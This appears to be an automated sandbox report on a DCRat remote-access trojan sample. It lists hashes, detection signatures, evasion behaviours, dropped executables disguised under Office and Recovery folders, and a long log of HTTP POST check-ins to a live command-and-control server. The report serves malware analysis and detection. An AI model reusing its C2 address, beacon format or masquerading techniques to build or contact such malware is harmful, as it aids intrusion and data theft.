Windows Analysis Report
o9jDrpZrgR.exe

Overview

General Information

Sample Name: o9jDrpZrgR.exe
Original Sample Name: c256204deb01c77e21ba17b5e2411245.exe
Analysis ID: 1345582
MD5: c256204deb01c77e21ba17b5e2411245
SHA1: 95ae7fb9f6710368e44a3c4e839d3d7bebbd4d5e
SHA256: f594822a45b8561a9b7a2e2ecf17558a692b1a193cf231617ba1b222723ca3ab
Tags: DCRatexe
Infos:

Detection

DCRat
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus detection for dropped file
Snort IDS alert for network traffic
Yara detected DCRat
Multi AV Scanner detection for submitted file
Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for dropped file
Machine Learning detection for sample
.NET source code contains potential unpacker
Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)
Queries sensitive Plug and Play Device Information (via WMI, Win32_PnPEntity, often done to detect virtual machines)
Uses ping.exe to check the status of other devices and networks
Uses ping.exe to sleep
.NET source code contains very large strings
Machine Learning detection for dropped file
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Contains functionality to query locales information (e.g. system language)
May sleep (evasive loops) to hinder dynamic analysis
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Uses code obfuscation techniques (call, push, ret)
Found evasive API chain (date check)
Detected potential crypto function
Sample execution stops while process was sleeping (likely an evasion)
Contains long sleeps (>= 3 min)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Drops files with a non-matching file extension (content does not match file extension)
Drops PE files
Tries to load missing DLLs
Contains functionality to read the PEB
Uses a known web browser user agent for HTTP communication
Dropped file seen in connection with other malware
Creates a process in suspended mode (likely to inject code)
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Uses 32bit PE files
Queries the volume information (name, serial number etc) of a device
Contains functionality to check if a debugger is running (IsDebuggerPresent)
PE file contains sections with non-standard names
Internet Provider seen in connection with other malware
Contains functionality to query CPU information (cpuid)
Found potential string decryption / allocating functions
Contains functionality to communicate with device drivers
Found dropped PE file which has not been started or loaded
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Enables debug privileges
AV process strings found (often used to terminate AV products)
Found inlined nop instructions (likely shell or obfuscated code)
Sample file is different than original file name gathered from version info
File is packed with WinRar
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Found WSH timer for Javascript or VBS script (likely evasive script)
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Classification

AV Detection
barindex
Antivirus detection for dropped file
Source: C:\Program Files\Microsoft Office 15\ClientX64\qBJICEqiLNwXNBLrN.exe Avira: detection malicious, Label: HEUR/AGEN.1309961
Source: C:\Program Files\Microsoft Office 15\ClientX64\qBJICEqiLNwXNBLrN.exe Avira: detection malicious, Label: HEUR/AGEN.1309961
Source: C:\Users\user\Desktop\KWPomPtF.log Avira: detection malicious, Label: HEUR/AGEN.1300079
Source: C:\Program Files (x86)\Microsoft.NET\RedistList\conhost.exe Avira: detection malicious, Label: HEUR/AGEN.1309961
Source: C:\Users\user\Desktop\BnwYCmoX.log Avira: detection malicious, Label: HEUR/AGEN.1300079
Source: C:\Users\user\Desktop\HJnNqbKj.log Avira: detection malicious, Label: HEUR/AGEN.1300079
Source: C:\Users\user\AppData\Local\Temp\XJsEcPfXWC.bat Avira: detection malicious, Label: BAT/Runner.IK
Source: C:\Users\user\Desktop\MTqwIPIz.log Avira: detection malicious, Label: HEUR/AGEN.1300079
Source: C:\Users\user\Desktop\qtmQsFEO.log Avira: detection malicious, Label: HEUR/AGEN.1300079
Source: C:\Program Files\Microsoft Office 15\ClientX64\qBJICEqiLNwXNBLrN.exe Avira: detection malicious, Label: HEUR/AGEN.1309961
Source: C:\Program Files\Microsoft Office 15\ClientX64\qBJICEqiLNwXNBLrN.exe Avira: detection malicious, Label: HEUR/AGEN.1309961
Source: C:\Users\user\Desktop\pwLIWFpU.log Avira: detection malicious, Label: HEUR/AGEN.1300079
Multi AV Scanner detection for submitted file
Source: o9jDrpZrgR.exe ReversingLabs: Detection: 65%
Source: o9jDrpZrgR.exe Virustotal: Detection: 69% Perma Link
Antivirus / Scanner detection for submitted sample
Source: o9jDrpZrgR.exe Avira: detected
Multi AV Scanner detection for dropped file
Source: C:\Program Files (x86)\Microsoft.NET\RedistList\conhost.exe ReversingLabs: Detection: 79%
Source: C:\Program Files (x86)\Microsoft.NET\RedistList\conhost.exe Virustotal: Detection: 69% Perma Link
Source: C:\Program Files\Microsoft Office 15\ClientX64\qBJICEqiLNwXNBLrN.exe ReversingLabs: Detection: 79%
Source: C:\Program Files\Microsoft Office 15\ClientX64\qBJICEqiLNwXNBLrN.exe Virustotal: Detection: 69% Perma Link
Source: C:\Recovery\qBJICEqiLNwXNBLrN.exe ReversingLabs: Detection: 79%
Source: C:\Recovery\qBJICEqiLNwXNBLrN.exe Virustotal: Detection: 69% Perma Link
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCookies\qBJICEqiLNwXNBLrN.exe ReversingLabs: Detection: 79%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCookies\qBJICEqiLNwXNBLrN.exe Virustotal: Detection: 69% Perma Link
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe ReversingLabs: Detection: 79%
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe Virustotal: Detection: 69% Perma Link
Source: C:\Users\user\Desktop\BhRGcQzx.log Virustotal: Detection: 8% Perma Link
Source: C:\Users\user\Desktop\BnwYCmoX.log Virustotal: Detection: 12% Perma Link
Source: C:\Users\user\Desktop\GVjFENOl.log Virustotal: Detection: 7% Perma Link
Source: C:\Users\user\Desktop\GbOXfjDL.log Virustotal: Detection: 7% Perma Link
Source: C:\Users\user\Desktop\HJnNqbKj.log ReversingLabs: Detection: 34%
Source: C:\Users\user\Desktop\HJnNqbKj.log Virustotal: Detection: 32% Perma Link
Source: C:\Users\user\Desktop\KWPomPtF.log ReversingLabs: Detection: 34%
Source: C:\Users\user\Desktop\KWPomPtF.log Virustotal: Detection: 32% Perma Link
Source: C:\Users\user\Desktop\SoilvDeL.log Virustotal: Detection: 8% Perma Link
Machine Learning detection for sample
Source: o9jDrpZrgR.exe Joe Sandbox ML: detected
Machine Learning detection for dropped file
Source: C:\Program Files\Microsoft Office 15\ClientX64\qBJICEqiLNwXNBLrN.exe Joe Sandbox ML: detected
Source: C:\Program Files\Microsoft Office 15\ClientX64\qBJICEqiLNwXNBLrN.exe Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\fNssmckm.log Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\jTkAEhsC.log Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Microsoft.NET\RedistList\conhost.exe Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\GbOXfjDL.log Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\GVjFENOl.log Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\lGVRPIpa.log Joe Sandbox ML: detected
Source: C:\Program Files\Microsoft Office 15\ClientX64\qBJICEqiLNwXNBLrN.exe Joe Sandbox ML: detected
Source: C:\Program Files\Microsoft Office 15\ClientX64\qBJICEqiLNwXNBLrN.exe Joe Sandbox ML: detected
Uses 32bit PE files
Source: o9jDrpZrgR.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Source: C:\reviewruntimeMonitor\BlockrefBrokerperf.exe Directory created: C:\Program Files\Microsoft Office 15\ClientX64\qBJICEqiLNwXNBLrN.exe Jump to behavior
Source: C:\reviewruntimeMonitor\BlockrefBrokerperf.exe Directory created: C:\Program Files\Microsoft Office 15\ClientX64\9bce06a9fec5b2 Jump to behavior
Source: o9jDrpZrgR.exe Static PE information: DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
Source: Binary string: D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb source: o9jDrpZrgR.exe
Source: C:\reviewruntimeMonitor\BlockrefBrokerperf.exe File opened: C:\Users\user\Documents\desktop.ini Jump to behavior
Source: C:\reviewruntimeMonitor\BlockrefBrokerperf.exe File opened: C:\Users\user Jump to behavior
Source: C:\reviewruntimeMonitor\BlockrefBrokerperf.exe File opened: C:\Users\user\AppData\Local\Temp Jump to behavior
Source: C:\reviewruntimeMonitor\BlockrefBrokerperf.exe File opened: C:\Users\user\AppData Jump to behavior
Source: C:\reviewruntimeMonitor\BlockrefBrokerperf.exe File opened: C:\Users\user\AppData\Local Jump to behavior
Source: C:\reviewruntimeMonitor\BlockrefBrokerperf.exe File opened: C:\Users\user\Desktop\desktop.ini Jump to behavior
Source: C:\Users\user\Desktop\o9jDrpZrgR.exe Code function: 0_2_0088A69B FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError, 0_2_0088A69B
Source: C:\Users\user\Desktop\o9jDrpZrgR.exe Code function: 0_2_0089C220 SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SetDlgItemTextW,SendDlgItemMessageW,FindFirstFileW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,FindClose,_swprintf,SetDlgItemTextW,SendDlgItemMessageW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,_swprintf,SetDlgItemTextW, 0_2_0089C220
Source: C:\Users\user\Desktop\o9jDrpZrgR.exe Code function: 0_2_008AB348 FindFirstFileExA, 0_2_008AB348
Found inlined nop instructions (likely shell or obfuscated code)
Source: C:\reviewruntimeMonitor\BlockrefBrokerperf.exe Code function: 4x nop then jmp 00007FF848F4C906h 5_2_00007FF848F4C6ED
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe Code function: 4x nop then jmp 00007FF848F3C906h 12_2_00007FF848F3C6ED

Networking
barindex
Snort IDS alert for network traffic
Source: Traffic Snort IDS: 2048095 ET TROJAN [ANY.RUN] DarkCrystal Rat Check-in (POST) 192.168.2.5:49712 -> 77.91.124.101:80
Uses ping.exe to check the status of other devices and networks
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\PING.EXE ping -n 10 localhost
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: POST /imagewindows/cdnprotonpipe/9db/Providerphp/downloadsEternalDle/uploads/PythontrackDump/Image/Uploads5/temporarymulti/ToPythonpacketProcessormultiTrafficUniversal.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Host: 77.91.124.101Content-Length: 344Expect: 100-continueConnection: Keep-Alive
Source: global traffic HTTP traffic detected: POST /imagewindows/cdnprotonpipe/9db/Providerphp/downloadsEternalDle/uploads/PythontrackDump/Image/Uploads5/temporarymulti/ToPythonpacketProcessormultiTrafficUniversal.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Host: 77.91.124.101Content-Length: 384Expect: 100-continue
Source: global traffic HTTP traffic detected: POST /imagewindows/cdnprotonpipe/9db/Providerphp/downloadsEternalDle/uploads/PythontrackDump/Image/Uploads5/temporarymulti/ToPythonpacketProcessormultiTrafficUniversal.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Host: 77.91.124.101Content-Length: 2544Expect: 100-continue
Source: global traffic HTTP traffic detected: POST /imagewindows/cdnprotonpipe/9db/Providerphp/downloadsEternalDle/uploads/PythontrackDump/Image/Uploads5/temporarymulti/ToPythonpacketProcessormultiTrafficUniversal.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Host: 77.91.124.101Content-Length: 1408Expect: 100-continue
Source: global traffic HTTP traffic detected: POST /imagewindows/cdnprotonpipe/9db/Providerphp/downloadsEternalDle/uploads/PythontrackDump/Image/Uploads5/temporarymulti/ToPythonpacketProcessormultiTrafficUniversal.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Host: 77.91.124.101Content-Length: 2544Expect: 100-continue
Source: global traffic HTTP traffic detected: POST /imagewindows/cdnprotonpipe/9db/Providerphp/downloadsEternalDle/uploads/PythontrackDump/Image/Uploads5/temporarymulti/ToPythonpacketProcessormultiTrafficUniversal.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Host: 77.91.124.101Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic HTTP traffic detected: POST /imagewindows/cdnprotonpipe/9db/Providerphp/downloadsEternalDle/uploads/PythontrackDump/Image/Uploads5/temporarymulti/ToPythonpacketProcessormultiTrafficUniversal.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Host: 77.91.124.101Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic HTTP traffic detected: POST /imagewindows/cdnprotonpipe/9db/Providerphp/downloadsEternalDle/uploads/PythontrackDump/Image/Uploads5/temporarymulti/ToPythonpacketProcessormultiTrafficUniversal.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Host: 77.91.124.101Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic HTTP traffic detected: POST /imagewindows/cdnprotonpipe/9db/Providerphp/downloadsEternalDle/uploads/PythontrackDump/Image/Uploads5/temporarymulti/ToPythonpacketProcessormultiTrafficUniversal.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Host: 77.91.124.101Content-Length: 2536Expect: 100-continueConnection: Keep-Alive
Source: global traffic HTTP traffic detected: POST /imagewindows/cdnprotonpipe/9db/Providerphp/downloadsEternalDle/uploads/PythontrackDump/Image/Uploads5/temporarymulti/ToPythonpacketProcessormultiTrafficUniversal.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Host: 77.91.124.101Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic HTTP traffic detected: POST /imagewindows/cdnprotonpipe/9db/Providerphp/downloadsEternalDle/uploads/PythontrackDump/Image/Uploads5/temporarymulti/ToPythonpacketProcessormultiTrafficUniversal.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Host: 77.91.124.101Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic HTTP traffic detected: POST /imagewindows/cdnprotonpipe/9db/Providerphp/downloadsEternalDle/uploads/PythontrackDump/Image/Uploads5/temporarymulti/ToPythonpacketProcessormultiTrafficUniversal.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Host: 77.91.124.101Content-Length: 1408Expect: 100-continueConnection: Keep-Alive
Source: global traffic HTTP traffic detected: POST /imagewindows/cdnprotonpipe/9db/Providerphp/downloadsEternalDle/uploads/PythontrackDump/Image/Uploads5/temporarymulti/ToPythonpacketProcessormultiTrafficUniversal.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Host: 77.91.124.101Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic HTTP traffic detected: POST /imagewindows/cdnprotonpipe/9db/Providerphp/downloadsEternalDle/uploads/PythontrackDump/Image/Uploads5/temporarymulti/ToPythonpacketProcessormultiTrafficUniversal.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Host: 77.91.124.101Content-Length: 2544Expect: 100-continue
Source: global traffic HTTP traffic detected: POST /imagewindows/cdnprotonpipe/9db/Providerphp/downloadsEternalDle/uploads/PythontrackDump/Image/Uploads5/temporarymulti/ToPythonpacketProcessormultiTrafficUniversal.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Host: 77.91.124.101Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic HTTP traffic detected: POST /imagewindows/cdnprotonpipe/9db/Providerphp/downloadsEternalDle/uploads/PythontrackDump/Image/Uploads5/temporarymulti/ToPythonpacketProcessormultiTrafficUniversal.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Host: 77.91.124.101Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic HTTP traffic detected: POST /imagewindows/cdnprotonpipe/9db/Providerphp/downloadsEternalDle/uploads/PythontrackDump/Image/Uploads5/temporarymulti/ToPythonpacketProcessormultiTrafficUniversal.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Host: 77.91.124.101Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic HTTP traffic detected: POST /imagewindows/cdnprotonpipe/9db/Providerphp/downloadsEternalDle/uploads/PythontrackDump/Image/Uploads5/temporarymulti/ToPythonpacketProcessormultiTrafficUniversal.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Host: 77.91.124.101Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic HTTP traffic detected: POST /imagewindows/cdnprotonpipe/9db/Providerphp/downloadsEternalDle/uploads/PythontrackDump/Image/Uploads5/temporarymulti/ToPythonpacketProcessormultiTrafficUniversal.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Host: 77.91.124.101Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic HTTP traffic detected: POST /imagewindows/cdnprotonpipe/9db/Providerphp/downloadsEternalDle/uploads/PythontrackDump/Image/Uploads5/temporarymulti/ToPythonpacketProcessormultiTrafficUniversal.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Host: 77.91.124.101Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic HTTP traffic detected: POST /imagewindows/cdnprotonpipe/9db/Providerphp/downloadsEternalDle/uploads/PythontrackDump/Image/Uploads5/temporarymulti/ToPythonpacketProcessormultiTrafficUniversal.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Host: 77.91.124.101Content-Length: 1408Expect: 100-continueConnection: Keep-Alive
Source: global traffic HTTP traffic detected: POST /imagewindows/cdnprotonpipe/9db/Providerphp/downloadsEternalDle/uploads/PythontrackDump/Image/Uploads5/temporarymulti/ToPythonpacketProcessormultiTrafficUniversal.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Host: 77.91.124.101Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic HTTP traffic detected: POST /imagewindows/cdnprotonpipe/9db/Providerphp/downloadsEternalDle/uploads/PythontrackDump/Image/Uploads5/temporarymulti/ToPythonpacketProcessormultiTrafficUniversal.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Host: 77.91.124.101Content-Length: 2544Expect: 100-continue
Source: global traffic HTTP traffic detected: POST /imagewindows/cdnprotonpipe/9db/Providerphp/downloadsEternalDle/uploads/PythontrackDump/Image/Uploads5/temporarymulti/ToPythonpacketProcessormultiTrafficUniversal.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Host: 77.91.124.101Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic HTTP traffic detected: POST /imagewindows/cdnprotonpipe/9db/Providerphp/downloadsEternalDle/uploads/PythontrackDump/Image/Uploads5/temporarymulti/ToPythonpacketProcessormultiTrafficUniversal.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Host: 77.91.124.101Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic HTTP traffic detected: POST /imagewindows/cdnprotonpipe/9db/Providerphp/downloadsEternalDle/uploads/PythontrackDump/Image/Uploads5/temporarymulti/ToPythonpacketProcessormultiTrafficUniversal.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Host: 77.91.124.101Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic HTTP traffic detected: POST /imagewindows/cdnprotonpipe/9db/Providerphp/downloadsEternalDle/uploads/PythontrackDump/Image/Uploads5/temporarymulti/ToPythonpacketProcessormultiTrafficUniversal.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Host: 77.91.124.101Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic HTTP traffic detected: POST /imagewindows/cdnprotonpipe/9db/Providerphp/downloadsEternalDle/uploads/PythontrackDump/Image/Uploads5/temporarymulti/ToPythonpacketProcessormultiTrafficUniversal.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Host: 77.91.124.101Content-Length: 2532Expect: 100-continueConnection: Keep-Alive
Source: global traffic HTTP traffic detected: POST /imagewindows/cdnprotonpipe/9db/Providerphp/downloadsEternalDle/uploads/PythontrackDump/Image/Uploads5/temporarymulti/ToPythonpacketProcessormultiTrafficUniversal.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Host: 77.91.124.101Content-Length: 2544Expect: 100-continue
Source: global traffic HTTP traffic detected: POST /imagewindows/cdnprotonpipe/9db/Providerphp/downloadsEternalDle/uploads/PythontrackDump/Image/Uploads5/temporarymulti/ToPythonpacketProcessormultiTrafficUniversal.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Host: 77.91.124.101Content-Length: 2536Expect: 100-continueConnection: Keep-Alive
Source: global traffic HTTP traffic detected: POST /imagewindows/cdnprotonpipe/9db/Providerphp/downloadsEternalDle/uploads/PythontrackDump/Image/Uploads5/temporarymulti/ToPythonpacketProcessormultiTrafficUniversal.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Host: 77.91.124.101Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic HTTP traffic detected: POST /imagewindows/cdnprotonpipe/9db/Providerphp/downloadsEternalDle/uploads/PythontrackDump/Image/Uploads5/temporarymulti/ToPythonpacketProcessormultiTrafficUniversal.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Host: 77.91.124.101Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic HTTP traffic detected: POST /imagewindows/cdnprotonpipe/9db/Providerphp/downloadsEternalDle/uploads/PythontrackDump/Image/Uploads5/temporarymulti/ToPythonpacketProcessormultiTrafficUniversal.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Host: 77.91.124.101Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic HTTP traffic detected: POST /imagewindows/cdnprotonpipe/9db/Providerphp/downloadsEternalDle/uploads/PythontrackDump/Image/Uploads5/temporarymulti/ToPythonpacketProcessormultiTrafficUniversal.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Host: 77.91.124.101Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic HTTP traffic detected: POST /imagewindows/cdnprotonpipe/9db/Providerphp/downloadsEternalDle/uploads/PythontrackDump/Image/Uploads5/temporarymulti/ToPythonpacketProcessormultiTrafficUniversal.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Host: 77.91.124.101Content-Length: 1408Expect: 100-continueConnection: Keep-Alive
Source: global traffic HTTP traffic detected: POST /imagewindows/cdnprotonpipe/9db/Providerphp/downloadsEternalDle/uploads/PythontrackDump/Image/Uploads5/temporarymulti/ToPythonpacketProcessormultiTrafficUniversal.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Host: 77.91.124.101Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic HTTP traffic detected: POST /imagewindows/cdnprotonpipe/9db/Providerphp/downloadsEternalDle/uploads/PythontrackDump/Image/Uploads5/temporarymulti/ToPythonpacketProcessormultiTrafficUniversal.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Host: 77.91.124.101Content-Length: 2544Expect: 100-continue
Source: global traffic HTTP traffic detected: POST /imagewindows/cdnprotonpipe/9db/Providerphp/downloadsEternalDle/uploads/PythontrackDump/Image/Uploads5/temporarymulti/ToPythonpacketProcessormultiTrafficUniversal.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Host: 77.91.124.101Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic HTTP traffic detected: POST /imagewindows/cdnprotonpipe/9db/Providerphp/downloadsEternalDle/uploads/PythontrackDump/Image/Uploads5/temporarymulti/ToPythonpacketProcessormultiTrafficUniversal.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Host: 77.91.124.101Content-Length: 2536Expect: 100-continueConnection: Keep-Alive
